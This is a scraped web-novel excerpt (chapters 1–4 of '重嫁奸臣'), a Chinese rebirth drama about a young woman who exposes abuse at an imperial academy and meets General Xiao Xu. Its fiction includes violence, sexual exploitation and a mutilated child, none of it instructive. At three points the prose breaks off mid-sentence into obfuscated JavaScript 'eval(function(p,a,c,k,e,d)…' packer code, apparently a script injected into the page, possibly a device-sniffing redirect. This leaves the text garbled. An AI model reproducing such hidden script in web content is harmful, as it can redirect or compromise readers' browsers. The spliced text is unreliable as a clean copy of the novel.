《重嫁奸臣》 1. 又见(1) “萧大将军反了!” 消息传入皇城为时已晚,十万黑甲军直破金武关。萧叙提剑入宫搅得血雨腥风,坐上隐忍多年谋划的皇位。 此人心狠手辣,臭名远扬。不为己正名,反倒做实乱臣贼子的恶名。斩下皇帝头颅,端放金莲,日伴重臣上朝,将那群老顽固吓得一病不起。 以至于在位十载,无人敢言无人敢反,直到威慑天下的主,在一场喧嚣的雨夜离奇死于旧时将军府,众人才将他的事迹记录史册。 金武关事件,成了萧叙留名肮脏与辉煌千年的始笔。 那年江山易主,偏死了位看似无关紧要,又至关重要之人,永被遗忘,无人铭记。 她遗留的最后一封信,烧毁仅剩一句,压在厚重如山的奏折下,“我在想,天下大变,我想要的自由究竟拦了谁的路……” 烈日灼沙,孤驼铃声。 苏云青死在萧叙举兵谋逆前一年,与她一同埋没于黄沙尸骨无存,还有那封写满萧大将军意图谋反的密信。 唯一掌握萧大将军策反证据的人,悄无声息死了。 她这个眼线,死了干净,再无人是他夺权的阻碍。 成婚三载,一纸和离,孤魂野鬼,终是落了个凄凉的结局。 …… 尘灰布入鼻腔,微弱狭光穿窗洒入被遗弃的书堂内。 苏云青简单套着褪色的校服,跪在结霜的木地板上,眼前是半张烧毁的老者画像。 明翰堂,最高尚的学府,庄严肃穆,皇族官员子弟皆在此求学,墙上画像正是曾经开创明翰堂的帝师。 不过,那是往事。 新皇登基,一道圣旨颁下,学堂不仅为朝官子弟敞开,甚至对百姓开放,昔日遥不可及之地,成人之向往。新皇获得美誉,生活寒苦的百姓砸锅卖铁,送子女入堂,期盼有朝一日出人头地,入朝为官。 苏父便是在此学有所成,从一个杂役,一跃成朝廷新贵,杀妻弃子、另娶他人,攀附权贵,令嫡女活在别人脚下求生。 苏云青生了一幅好皮囊,眉眼秀气,双目透彻,红唇娇艳,神态温柔,美得惊心动魄。 及笄之年,苏父打起利用她嫁娶攀富的念头,皆被苏云青使鬼点子抹泥扮丑糊弄过去,以至于苏家遭屡退婚事,使她沦为京中笑柄。 苏父盛怒送她入明翰堂。 与他人求学不同,她被送入学堂看似镀金,实则是为委身吏部尚书之子,助苏家攀登,青云直上得到器重。 她这个爹贼心不死。 苏云青被罚了,并非因落下学课,而是她在学堂里救了个遭遇虐待的姑娘。 罚她之人,正是李家公子。 落雪的天,紧闭门窗的书堂,依旧寒得苏云青高捧竹条的双手打颤,她挺直腰杆,转移注意,打量画像上的帝师。 一串脚步声踩雪晶靠近,“咚”一声,来人踹门而入,朽门不稳,砸在地上激起蒙灰。 寒风霎时卷入,白光闯进。 苏云青眼眸不适轻阖片刻,随即转过眸去,李甚等人身着干净厚实的校服姿态张扬立于门洞。 “喂,苏云青,阿钥找你有事。” 旁人讥笑附和,等她反应。 李甚大步跨到她面前,苏云青抬起一双明目凝视他,她脊背挺得笔直,却仍受不住凛冽寒风,双肩不受控微颤。 瞧着她那副表面倔强又抵不过身子颤栗的模样,李甚心底畅快极了。 他拿起她奉着的竹扁,扬手举起清脆一响打在她的手心,冻僵的手顿时麻木,鲜血溢出,疼痛如虫噬蔓延全身。 苏云青仅是眉头微蹙,目光仍旧冷淡无澜望着他。 李甚瞧着没趣,挑起她的下巴,竹扁在她丑陋的左脸滑过,带走一抹浮灰,指腹摩挲,“你爹那些心思,我会不知道?你倒是倔得很,不愿屈身于我,那又何必多管我的闲事?!” 他扬手作势对她右脸挥下竹扁,却未想到苏云青猛然起身,稳稳截下竹扁,握在血淋淋的手中。 她昂起头来,屋外白光晃亮她半张装扮狰狞的脸。 “李甚,先生罚我跪堂,我知是你所为。我是为阿钥赎身,放她一条生路,才跪于此处三个时辰。” 李甚见状冷笑道:“结课在即,你一年都未得到我的欢喜,回去你爹怕是要打断你的腿。你不愿入李府,人家阿钥可是乐意的很,喊你前去……” 他神神秘秘止言,神色一变,用劲抽出她掌心的竹扁,粗糙的竹扁在她细嫩的手心再次狠划一道,鲜血肆流。 “……去捉鱼啊哈哈哈哈哈!” 苏云青眸光如炬,冷静的人生了怒火,“李甚!你欺人太甚!枉你父亲曾施粥赈灾受百姓拥戴,得一明官,却生你这般畜生!” “你不去?阿钥还等着你呢。”李甚对几个散漫倚着的弟子使眼色。 几人得令上前压住苏云青的肩膀,往外拖拽。 ……结层薄冰的湖被敲了个窟窿,阿钥面无血色,薄纱遮体,衣衫不整抱紧双臂泡在水中哆嗦。 苏云青在岸边扫视她身上触目的伤痕。阿钥渴望学识,考官入仕,为百姓做清明之官,绝不会屈身李甚想嫁入李家为妾,是他们强迫了她。 苏云青不知阿钥在百姓求学的静明室经历过什么,第一面是夜里她鼻青脸肿,身形踉跄,意识混沌倒在她屋前。 阿钥怕牵连她什么都不敢说,苏云青也不再问。 几个肩宽背阔高大的世家子弟堵在岸边,苏云青显得纤细单薄,不堪一击。 她视线晃过一圈,最后定格在李甚身上,语气平静问:“几条鱼?” 无权无势,无力反抗,亦无法私自离开把守森严的明翰堂,她的日常只有妥协。 阿钥嗓子嘶哑的不成样,震惊道:“苏瑶!” 苏云青未偏移目光,始终锁住李甚。 李甚闻言,幸灾乐祸勾起笑意,假意打了个哆嗦,揉搓双臂,瞥了眼静悄悄毫无鱼影的湖面,竖起手指开始数数,对其他弟兄道:“你们几个晚上吃烤鱼胃口可别太大,苏小姐不好抓。” 此言,引起一阵低笑,响起几道意味深长的附和。 “李兄啊,我这晚上还要挑灯夜读,学习可是费体力的很,容易饿得慌。” “哈哈哈哈哈,有理有理!昨日先生带回一本新书,我夜里得好生钻研,你们莫抢啊。” 湖中激起一片浪花,阿钥突然剧烈惊颤,她抱紧自己,脸上写满了恐惧。 然而,那几人不过轻蔑一瞟,继续调侃道:“好书自是要一起细读细读。” 苏云青没了耐心,重复一遍,“几条鱼?” 湖边冷风真是吹得人受不住,李甚摆摆手,“行了行了,外头冷,早点吃鱼要紧,十条,可要抓大的。” 其他学子见李甚松口,也急忙催促着离开,“李兄快走罢,外头冷死了。” 苏云青扯下裙摆简单给手心包扎。 阿钥近乎失去意识,苏云青把她从水中带出来靠在岸边,代替她入了水。她随手拿起尖叉在水里寻鱼,渗骨的水没过半腰,呼出雾气都近乎凝固。 鱼不好找,苏云青在冰水里泡了将近半个时辰,已然受不住,强忍着丢上第十条鱼,突然视线晃动,眼前像套了层黑布,登时寒气攻心,失去意识,一头朝水里栽去。 “苏瑶!” …… 苏云青意识消失的最后一刻,是烈日中厚沙覆盖口鼻,灼伤肌肤,拖她坠入黑暗。 胸口抵住的一口气,猛然提了上来,冷热交替令她意识浑浊,她不清楚自己在何处,只隐约听见隔着墙传来窸窸窣窣的话语。 “喂,李兄,她会不会死了?好歹是苏大人的女儿,死了……不好交代。” 几个纨绔视人命如草芥,根本不怕闹出人命,不过是怕死个朝官之女,不好和家里交代罢了。 李甚眼底掠过一丝犹豫,半晌满不在乎道:“一个苏家罢了,能耐我们何?他敢追究?再说,冬天死得人多了,你不说我不说,谁知道是不是雪天不识路,夜里栽湖里淹死了?” 死人不会说话,活人随便编个理由不就完了。 李甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阿钥?”苏云青接过药碗,温热的触感透过瓷碗滚烫她的手心,从恍惚中拉回她的思绪。 “愣着做什么,快喝啊,喝完还有一碗呢。”阿钥担忧着催促,急急忙忙又出屋照看炉火上扑腾的药罐。 苏云青垂下眼眸,波动的汤药倒映着她卸去丑痕后打理白净的面容。她环顾四周,熟悉的陈设,使得她找回过往似曾相识零碎的记忆。 她竟然回到了三年前? 回到明翰堂被李甚所欺,冬日下湖,落下病根这年! 阿钥带着新药走进来,发觉苏云青手中的药依旧满着,早已凉透,不由蹙起眉头,“苏瑶,你怎么没喝啊,都冷了,别喝了,我去给你热,喝这碗热的。” 她换过两碗药,转身朝外走。 “阿钥。”苏云青喊住她。 阿钥回过身,苏云青奇怪的神情,令她很是担忧,“你怎么了?” 苏云青一眼瞧见阿钥红肿的嘴角,以及身上鞭打、拖拽的伤痕,她余光扫过桌上稀少的药材,心中了然。 阿钥找李甚求药了。 往日阿钥费力反抗也难逃一顿折磨,何况有求于他们,他们定然不会轻易放过她。 苏云青收回目光,将药喝下去,摇头道:“我没事。” 前世阿钥死后,她才知明翰堂背后恶心又龌龊的勾当。百姓以为的求生之路,却是丢命的绝路。 阿钥比她早来明翰堂三年,未曾有一日得到自由。绝口不提静明室里的肮脏事,恐是怕牵连她。 这时,苏云青忽然想起来,前些时候李甚提到过的一件事,“阿钥,他们前不久口中所言的‘新书’,可是哪家人又送了个姑娘来?” 阿钥愣住,支吾道:“不、不是。” 苏云青静默看着她,一言不发。 阿钥目光闪躲,终是犹豫再三后妥协。 倘若不是苏云青极力保她,她又哪能得少许的来去自由,她是幸运的,能遇见苏云青。 “静明室分几处地方,每个学子入的学堂各不相同,我见过她两次,在东院试图跳井轻生。” “东院……”苏云青在脑海中迅速翻找前世有关明翰堂案的线索。 按明翰堂的规矩,结课前,礼部尚书杜大人会前来居住三日,为新入堂和即将结课的学子监考。 礼部尚书杜大人来了,萧叙……估计也快来了。 2. 又见(2) 明翰堂迎接贵客这种事,原就轮不到相貌“丑陋”的苏云青,今日她又以生病为由告假在屋。 苏云青简单洗了个脸,坐在铜镜前,凝视着镜中的自己。 阿钥递上仅剩的一点胭脂。 “苏瑶,脂粉不多了,不过应该能撑到结课。” 虽不知为何,苏云青将这般好看的脸抹得丑陋不堪,但在明翰堂里,她反倒认可苏云青的做法,至少能避免许多不必要的麻烦。 只是……今日她又为何不再掩饰。 苏云青沉思片刻,接过胭脂,并未使用,而是轻放在桌,“今日不抹了。” 前世明翰堂丑事曝光,是她结课归家的第二个月。此事掀起京中动荡,儒雅正义的杜大人奉命彻查此案,皇上大怒,下旨抄了几家参事的替罪小族,才得以平息风波。 然而,李家“幸免于难”,阿钥身死明翰堂。 苏云青垂下长睫,掩盖眼中情绪,低声道:“阿钥,记得我与你商议的今夜计划。” 阿钥点头道:“我知道的。” 夜深人静,苏云青支开窗,朝外望去。树影灰暗模糊,只见一条青石板路,隐约有几道被新雪掩埋的脚印。远处的灯光渐淡,李甚他们估计已经趁夜去了静明室。 ……小雪缓缓而落。 一道身影在雪地里狂奔,朴素的校服被寒风吹起。 “大人!大人!” 急促的扣门声与女子崩溃的哭声打破夜的宁静。 门匆匆打开,杜大人披着外衣,略显疑惑。还未等他瞧个明白,阿钥扑通一声跪在门槛前,泪水糊了满脸,哭得梨花带雨。 杜大人吓了一跳,连忙弯腰扶,“你这是做什么?快起来!” 阿钥不管不顾,拽住他的衣角,抽泣道:“大人!苏小姐她……她死了!” “什么!!!”杜大人面色一僵。 周围的学子房屋窗户尽数打开,远处的人闻声赶来,围做一团,议论声彼伏四起。 “苏云青?她死了?!” “我倒是听说前几日,她下河捉鱼去了。这大冷天,河还结了层冰,她逞什么英雄。” “她好端端的下河做什么?” 左边的学子对跪地上哭喊的阿钥抬了抬下巴,示意多半与阿钥有干系。 “还能是什么?” “非亲非故,苏云青自从救了她,被李甚折腾成什么样了。” “还说呢,难怪今日结课考都没来。” “你说静明室到底是什么地方?里面的学子真如先生说的那般不学无术?” “我看啊,多是想飞上枝头成凤凰之人,也难怪先生将两座学堂独立分隔,大门都不在一处,互不相扰,不许两方来往。” 众人议论声越来越大,阿钥仍旧不松手,反而拽着杜大人的衣服,哭得愈发撕心裂肺。 杜大人扯了两下,未将其甩脱,面色凝重,沉声问:“她在哪。” 阿钥:“大人!苏小姐感染风寒,三日未等来大夫,我为她送药,发现……已然无法感受她的脉搏。” “感受不到脉搏?你单凭感受不到脉搏就断定她死了?!荒唐!”杜大人厉声呵斥,却暗暗松了口气,把人拉起来,大步流星朝学子住所的青石路去,“带路。” 阿钥抹了抹眼泪,带着杜大人往后山的方向绕路。夜色昏暗,出门匆忙,忘了点灯,只能借月色辨路。一群好奇的学子跟在后头等发觉路线不对时,阿钥已推开一扇破旧的偏门。 远处,微弱闪烁的灯光在朦胧间若隐若现。 杜大人眉头紧锁,目光紧盯前方,心中升起一股不详的预感,停下步子问道:“可有唤大夫前来?” 然而,无人在意他的询问,各自打量着周围陌生的环境。 身后跟着的学子困惑道:“苏小姐住得这么远吗?” “我记得苏小姐好像不住这吧,阿钥,人命关天,可耽误不得。” “我看天太黑,走错路了,哪这么远。” 阿钥未言,脚步不停带着众人往前行。 杜大人觉得这姑娘奇怪的很,一把扯住她,正欲开口质问,突然,一道红影在远处闪过,朝灯光方向走去。 “那是……苏家小姐?!”一名学子眯起眼睛,努力辨认那道陌生又熟悉的身影,光线之下,那人的侧脸显得格外清晰,他忽然愣住了,诧异道:“苏小姐?她脸上的疤怎么没了?!” “她这是干嘛去?”学子屏住呼吸注视她的身影,疑惑不解看着飞舞的红纱遮挡她的影子,随后人便消失了! 就在众人愣身之际,阿钥猛然抛开他们快步跑往幔纱阵。“轰”一声响,方才的偏门重重关上。 “阿钥!”学子惊呼出声。 “门被锁住了!” 他们只得回头,费力追赶阿钥。凌乱飘逸的纱幔搅乱方向,仿佛一张天罗地网,困足他们。 阿钥的身影消失在一处暗角。 学子们试图从纱幔阵中脱身,却在无意间一点点靠近某间屋子。 “啪——!”清脆的鞭响,震得所有人一惊,与此同时,欢乐骤起,铃铛作响。 大伙左顾右看,小院里暖烛红帐,红帐轻舞,空气中弥漫一股异香。 一道轻轻的哭声从旁飘出,带着几分无助。学子撩开帐子,莫约十来岁的小儿蜷缩在雪地,麻绳绑住他的手脚,系在井边。他正惊恐望着他们,下意识弓起身子。 “杜大人,快来瞧瞧,这怎么有个小孩。” 小儿瞧见身穿教服的杜大人,顿时瞪大双目,张嘴放肆哭了出来,身体也开始挣扎。 有学子注意到小孩的怪异,定睛一瞧,骇出一身冷汗,“舌头!他没有舌头!” 小孩突然跪在地上,张着血口,指向那间红屋,双手合十,哀求着什么。 众人顺他指向,齐刷刷转过头去,身着红衣的苏云青正笔直地站在红屋门前,那张本该布满疤痕的脸,此刻完美无瑕。 “苏……云青?” 一名学子带着几分迟疑唤了一声。 苏云青推开屋门,震耳欲聋的乐杂声冲击耳膜,对意外冲进屋子的人,一群乐师只敢惊恐缩短脖子,手中奏乐仍不敢停止。屋内几人喝得烂醉如泥,显然对屋外一切浑然不知。 “哈哈哈哈哈,我说李兄,今儿又能大赚一笔了!”一人衣衫松垮,踩在椅子上,左手举杯,右手拿着棒锤用力敲鼓,砸出一个巨洞才罢休,甩棒离去。 “那还用说?”另一人附和着。 “喂,醒醒,怎么没动静了?”李甚的声音从内屋传出。 苏云青径直冲进内屋,浓郁的酒香夹杂令人晕眩的情香扑面而来。李甚等人衣衫不整,像“横尸”般烂醉在纱幔边,一只布满伤痕、触目惊心的手无力垂在床外。 苏云青心里咯噔一下,这姑娘……怕是凶多吉少了。 “先生?!”学子不可置信喊道,角落里正是平日正襟危坐的老师,此刻竟神志不清吐了满身污秽,痴笑靠在一旁。 如今,任谁都能猜到静明室到底是怎么回事,为了求学的学生,究竟受了怎样的折磨。哪有什么攀龙附凤,只有残害无辜! 苏云青朝那姑娘走去,覆上她的脉搏,沉默许久,将手放回床中用纱幔挡住她的身体。 “苏瑶……”阿钥意外发现红纱里有个小孩,她带着那小孩走了进来,却在门前定住了脚步。那小孩挣脱她的手,冲到姑娘身旁,拽着纱幔无声呜咽。 “苏、苏云青。”学子呆滞看着苏云青的容貌,随即回过神来,一时不知对哪件事感到震惊,“你没死?这、这又是怎么回事?” 李甚别过头来,不怀好意上下打量着苏云青,嘴角浮现一抹讥笑,“呦,这是谁?苏云青?你的疤呢?假的?” 他探过手,搭上她的肩膀,手指正要抚上她的脸颊时。 苏云青眼疾手快,一巴掌狠狠甩了过去。李甚猝不及防,脚下不稳,重撞在桌上,瓷杯噼里啪啦砸落在地。 阿钥朝杜大人作揖,难掩下意识的发怵,却还是坚定道:“还请杜大人明查此事。” 杜大人站在人群后,目光隐晦不明,始终一言不发。 “谁?杜大人?”趴在桌上的李甚,忽然大笑着爬起来,迷醉的目光穿过人群看向杜大人,“不知道大人!想怎么查啊!” 屋内气氛紧绷,众人齐齐退开给杜大人让出道来,所有目光集中在杜大人身上,等待他的回应。 杜大人忽然扯出抹“温和”的笑,缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黑甲军副将,萧叙阴魂不散的左右手。 贺三七:“咦,杜大人,我家将军说明翰堂是个清明之地,让我送几个蛮横的属下来受教,您在这那可太好了,省了不少麻烦事。” 他剑柄用力往前一怼,小厮磕到门槛摔了进去。 杜大人脸色霎时苍白,“贺将军。” 贺三七眉锋一挑,手指在半空一抬。 屋外“嗡”的一下,火把燃起,照亮夜空。 学子们惊慌失措道:“黑甲军把明翰堂围起来了!” 贺三七慢悠悠拔出剑来,剑光映亮他似笑非笑的嘴角,“夜黑风高,那么,末将帮杜大人彻查此案罢。” “将军!静明室我们并未参与其中!” 方才对李甚所作所为一声不吭的学子们慌了神,纷纷解释。 这要是被黑甲军逮住,白也能说成黑!牵连家族丢官职是小,唯恐性命难保! 屋内瞬间陷入一片混乱,学子们像无头苍蝇四处逃窜,却被屋外的红纱阵绊住了腿脚。 贺三七冷笑着退让开,站在屋外欣赏这片混乱。 苏云青缩起眉眼,眼疾手快捞起地上的阿钥,退到垂纱后,缓缓推开窗。 前世,她记得正是今日,贺三七带一位侍卫入学堂,杜大人拦在学堂外使得李家金蝉脱壳,如今他们逃不过此劫了。 混乱之际,苏云青将阿钥推出窗外,拉着她从破败的偏门原路返回,再从明翰堂无人看守的小门离开。 而她未注意的是,因今日容貌暴露,引起了李甚的注意。她的一举一动都落在他眼底,李甚此时亦是趁乱悄然跟在她身后不远处。 高耸的青瓦顶,一人立于白雪之中,寒月照亮他狐裘上的虎兽暗纹。萧叙手握长刀,眸底冷峻,注视那三道人影越过将士的“漏洞”跑了出去。 贺三七潇洒地翻身上屋,“少主,不追吗。” 他们本是送眼线入内,计划一锅端了明翰堂,没想到有人先他们一步,甚至猜到杜大人倒戈,故意穿红衣在他们所过之处露出影子,引起他们注意,引导他们找到买人的小厮,从静明室后门而入,抓住把柄。 她居然能猜到少主的计谋,是无意还是有意。 萧叙指腹在刀柄碾过,若有所思扬起唇角说道:“明翰堂的学子家世显赫,我们只有权抓人,杀不了。” 3. 又见(3) 苏云青带阿钥躲进林间破庙,关紧大门,在屋内仔细检查,确保安全。 “苏瑶,你方才去哪了?”阿钥掸去发肩上的落雪。 “指了个路。” 阿钥:“刚刚来的是何人。” 苏云青在一堆杂物间翻找油灯,“萧大将军的左膀右臂,贺三七。” 夜鬼贺三七,顶着玩世不恭的脸专为萧叙干杀人放火的脏事。 阿钥:“萧大将军?!我倒是听学堂里习武的少年提过一嘴,军功赫赫、惩恶扬善的萧将军。” “惩恶扬善……” 苏云青愣了半晌,她似乎从未将这几个字和萧叙扯上过关系。 病没好全,气息不稳,她咳了两声,缓和片刻对阿钥交代道:“城门夜禁,我在此凑合一晚,你先回村子。” “苏瑶?”阿钥蹙眉,不放心留她一人。 苏云青说道:“你已经三年没回家,该回去了。百里路,我无法陪你。今夜的小孩因是担心他阿姐而跟来,却……”她欲言又止,劝慰道:“阿钥,别让你的家人担心。” 好好一个孩子,被割了舌头…… 阿钥垂下眼眸,沉默半晌道:“我陪你,明早再走。” 苏云青坚决道:“出了明翰堂我不一定能保你,你先走,他们不会反方向查到这处。” 阿钥心中纠结,又怕再给她添乱,眼中含泪,扑腾一声给她跪下,“阿钥此生定将竭尽所能报苏小姐救命之恩。” 苏云青拽她起来,拍去她衣上的灰,把油灯与碎银塞入她的手中,给她在后门指了一条路。 “路上当心,有缘再见。” 阿钥离开后,破庙只剩一片死寂,苏云青的心跳难以平静。 今夜她利用了萧叙。黑甲军把守森严,明翰堂被围得水泄不通,萧叙怎会毫无察觉让她逃脱? 似乎……太顺利了些。 “咯吱——”木门轻微响动。 “何人?!”苏云青立即警觉,转身背靠供台。 “苏云青你跑挺快啊!”李甚从半开的门缝挤进身子,反手关上门,不怀好意扫视,最终落在她的面容上,“本事挺大!” 破庙光线昏暗,几缕碎光从木窗渗入。 苏云青手在摸索,发觉供台上除了灰烬什么都没有,她不动声色向旁挪动,与李甚拉开距离。 “李甚,你爹接旨管理明翰堂,却借学堂之名贩民为奴,逼良为娼!” 李甚双眼瞪大,满腔怒火,“你们苏家也别想好过!我随意编个供词,萧叙会放过你?!” 他猛然扑了过来,苏云青侧身躲过,急忙往旁跑去,却被脚下杂物绊倒,重摔在地。 李甚趁机二次扑来,翻过她的肩,一把掐住她的脖子,他逼近她的脸,恶心的酒气喷洒而来。 “真没看出来,苏云青你为了不嫁人,还挺会耍心思!” 苏云青攥住他的手,指尖用力抠挠,才得口气喘息。她从齿缝中挤出一句,“天子脚下罔顾王法,多亏李公子看不上我,不然还要陪你掉脑袋!” “苏云青!”李甚加大力道,“你以为萧叙能耐李家如何?我李家就没他的把柄?!明翰堂的事,找几个替罪羊堵住百姓之口足矣。至于你,要么给我做妾,与李家共存亡,要么你现在就去死!” 苏云青呼吸困难,视线逐渐模糊,右手在地上慌乱摸索。 “你爹不是想把你许给李家?春宵一刻值千金,我倒是好奇,欢愉销魂,你这性子还能倔着不求我?”李甚俯下身子靠近她。 苏云青指尖触及冰冷的青铜烛台,猛然一下狠狠砸向他的后脑。李甚闷哼一声,两眼发黑,手上力道松了几分,仍然不甘心压住挣扎着的人。两人争斗间,苏云青烛台脱手,不知滚到了何处,好在她趁李甚迷糊时,一把推开他,扶着桌角爬起身。 苏云青费力咳嗽,深吸口气,理好衣裳,摸着灼烧般疼痛的脖颈,冷冽地目光充满厌恶,盯着地上缓慢蠕动的李甚,“最该死的是你这种畜生。” 李甚摸了把后脑,满手血迹,眼中怒火更盛。随手抄起一根粗棍,摇摇晃晃靠近她,“贱人!我看你是想死!” 苏云青扶着桌子后退,目光不忘扫寻逃跑路线,猛然转身才跃两步,李甚薅住她的胳膊将人扯了回来。 “跑?!”李甚扬手砸下木棍。 苏云青瞳孔骤缩,近在咫尺之际,她迅速蹲下,木棍擦过发端,她尽全力钳住李甚的手腕,奈何力量悬殊,他起手再反手打回来,她急忙护住脑袋,下一刻木棍敲在她的胳膊,将人掀了出去。 “咳——!”苏云青胳膊瞬间麻木,脑海一阵晕眩,一股血猩之气涌上咽喉。 李甚捂着脑袋,狞笑着举起棍子,朝她的头劈下去。 苏云青手指碰到地上杂棍,却已来不及出手,只得下意识别过头。 “噗呲——!” 穿破骨头的一声异响,令苏云青如鼓震耳的心跳滞了两秒。 疼痛没有再次到来,苏云青怔神,回过头去,巨大的阴影笼罩着她,李甚高举的木棍定在半空,突然一口血雾喷洒而出,飞溅在她半张面容上。 随即木棍脱力,砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其一,民女误杀朝廷命官之子,此事涉及百姓与皇家颜面。萧叙将“民女”二字搬出来,皇上为堵百姓之口,自然不会深查。 其二,若日后真有人追查本案,萧叙也能全身而退。所有罪名落在她头上,萧叙只会冷眼旁观。 其三,萧叙最厌恶红衣,苏云青早有察觉,虽不知缘由,但红衣绝对能吸引他的注意。今夜她改了萧叙的局,利用他的好奇,也算抵消厌恶,将自己置于他的视线中,算是保了条小命。 4. 又见(4) 明翰堂设立在京城郊外,身处山清水秀之地。 明翰堂现已发生变故,与前世出事节点截然不同,许多事情成了未知,苏云青也被意外扯了进去。 无奈,苏云青只好在回城途中寻个驿站停足两日,静观其变等风波稍平,再入城。 她裹紧头纱,悄然融入人群之中,打探现况。 路过的行人议论纷纷一片喝声,却是关于萧叙几月前赢下的胜仗。 “……听说乌余外敌被打的落花流水,灰溜溜滚回家了。” “萧大将军威名赫赫,智勇双全,这次大胜,能保边境几年太平,咱们老百姓也能松口大气,过安生日子了。” “我给你说啊,萧大将军此次回京受封,日后可就是守卫京城的禁军统帅了。” “调职回京?!哎呦喂那可太好了,日后夜里睡觉都踏实多了。” 整个京城都在为萧叙班师回朝而沸腾、期待。 然而,看似加官进爵,回京任职,实则是朝廷对他的忌惮,唯恐萧叙功高盖主,折他兵权的权宜之计。 就是不知明翰堂的案子如何了。 她还在沉思,便听远处唢呐哀天、锣鼓阵阵,打破街市喧嚣,连周围闲谈也变了样。 “李家公子死了,你听说没?”路边妇人低声议论,语气夹杂几分泄愤的快意。 “杜大人亲自审案,明翰堂被那群纨绔子弟搅得如此不堪入目,他就该死!不然谁给那些枉死之人偿命。” “哼,我看就该把他阉了,仍大街上,让众人出口恶气!这般轻松就死了,真是不够解气!”另一名妇人咬牙切齿,厌恶似得呸了两口瓜子壳。 “幸得杜大人明察秋毫,揭发李家罪恶,提拔学子入仕。” “是啊,杜大人因此得到陛下嘉奖,日后明翰堂归他管辖,有这等清明之官,更多学子能有机会做官了。” “不过,李家居然只是被削职为民,这么大事,不抄家真是恨不过!”胖妇人及其不满,跺了跺脚,在地上用力碾了一道。 “失了官职,那些受害的人家绝对不会放过他。听说他那条贱命还是杜大人保下来的,说什么‘李公子一人犯错,旁人不知’。人死不能复生,子债父偿。” “什么子债父偿,我呸!平日里他就是烟花柳巷的常客,如今敢在明翰堂做出这等丧尽天良的事,没有他爹在上头撑腰,他有那本事吗?现在儿子死了,他爹把所有罪过扣他一人头上,好保自己的狗命。父子俩都不是好东西!” 远见李府牌匾已被撤下,门前挂满丧布,纸钱在府前铺了一地,随风飘散。 苏云青走了过去,混在围观怒骂的百姓中,冷眼旁观。李府所有屋门皆贴了封条,资产缴公,下人驱散。偌大府邸,只剩李尚书一人,在空荡荡的院子里守在李甚棺边。 昔日风光消散,李尚书面容憔悴,木然烧着满地而飞的纸钱。李府气数已尽,怕是待李甚头七后,便要彻底封存,成为京城闲余饭后令人辱骂泄愤的往事。 李甚的死,因是无人再深查。可苏云青心中仍有一丝不安,李家虽已倒台,却如同上一世,逃过处死一劫,甚至杜大人也因此得势。萧叙运筹帷幄,为何纵许此事。 苏云青怔怔望着纷飞的纸钱与丧布,默然良久,未想明白。 好在,阿钥今世离开了那座‘囚牢’。 她欲转身离去,才行两步,百姓忽然沸腾起来。 “萧将军!是萧将军!” “恭贺萧将军凯旋!” 人群中不知是谁高呼一声,紧接着恭贺之言如浪朝席卷整条街道,百姓退至两侧,争睹将军异彩。 一阵风呼啸而过,吹落她半边头纱,卷起满地白色纸钱,在空中翻飞。 她停步侧眸望去。 金武关城门大开,绣着金色火虎纹的红色军旗在风中猎猎作响,象征黑甲军的胜利与威严。士兵步伐铿锵有力,簇拥他们的将军。 萧叙身着玄色甲胄,肩披繁复暗纹的战袍,手握长枪,驾马缓步行于长街。高束的马尾,随战马微簸在空中凌厉飞扬,一双深邃如寒潭的眸子锐利沉着,眉宇间透着不怒自威的锋芒。 他的出现,撼动长街,霎时陷入一片寂静,唯剩军旗肆舞,盔甲脆亮,纸钱摩挲。 他在路过李府时,转过头来,两人目光短暂交汇。卷起的纸钱拍打她的裙摆,她一袭红衣站在一片白茫间,与李府的落寞,李甚的棺椁一同纳入他的视线内。 草草一眼,他面无表情挪开目光,继续风光无限往前走。 苏云青定在了原地,她看不透他眼底的情绪,亦摸不清暗潮汹涌的局势。破庙太暗,他可否看清她的容貌,还是仅仅记住了她的这身红衣。 明翰堂李家之事没有生死大变,甚至因李甚死亡让时间提前两月。这意味着,她的结局同样未改变,所剩时日更加紧迫。 距离她被害身亡,还剩三年...... …… “圣上口谕,宣萧叙萧将军入殿受封!” 皇宫大殿,庄严肃穆。 两侧大臣皆对萧叙作揖,齐声道:“恭迎将军凯旋。” 萧叙携刀入殿,站定于高台之下。他长睫低垂,眼底暗藏的目光像是一把锋芒毕露的利刃,他沉声道:“臣萧叙奉召觐见,恭请圣安。” 皇位上,李澈托着腮,似笑非笑透过冕旒望过去,手指在脸颊轻点两下,缓缓开口,“爱卿此次大胜乌余十三族,扬我国威,劳苦功高。你的威望让敌人闻风丧胆,得百姓信任敬畏。” 李澈低笑一声,“朕还未想封个何赏,才能配得上大靖的骠骑将军。大臣与百姓便早已上奏,为你请功。” 他顿了顿,坐直身子,手指转动指间翠玉扳指,视线冷漠划过群臣,而后落回萧叙身上,半阖眸,淡笑道:“萧大将军功冠全军,朕特封你为镇远侯,食邑千户。” 话音落下,殿内陷入片刻寂静,随即响起群臣恭贺之声。 萧叙神色如常,闪过一丝冷意,沉声道:“臣,谢主隆恩。” 贺三七在一侧听得蹙起眉头。 说什么加官晋爵,封侯赐赏,就是个没有实权的荣誉虚衔。 萧叙十五岁领兵杀敌,十七岁封将战无不胜,三次功冠全军,二十四岁封侯,他的锋芒太过凌厉。 景和十四年,正是李澈登基第五年。从借助萧叙之力夺位,再到如今忌惮他功高盖主,减兵削权,困其京中。 贺三七腹诽冷嘲,他这个做表哥的,真是会算计。 赵公公紧接着宣告加赏,“……赐黄金千两,白银万两……宅邸一座……” “贺将军赐黄金百两……” 待赵公公宣告完毕,萧叙与贺三七接旨领赏。 李澈漫不经心道:“乌余近年不会再犯,边关凶险,黄沙漫天,萧将军调职回京,护京城百姓安稳,做禁军统帅,这可也是百姓的意愿。” 贺三七:“!!!” 果真如此,封侯加赏,困足京中,收兵权! 萧叙笑意不达眼底,淡然掀起眼皮,“臣领旨。” 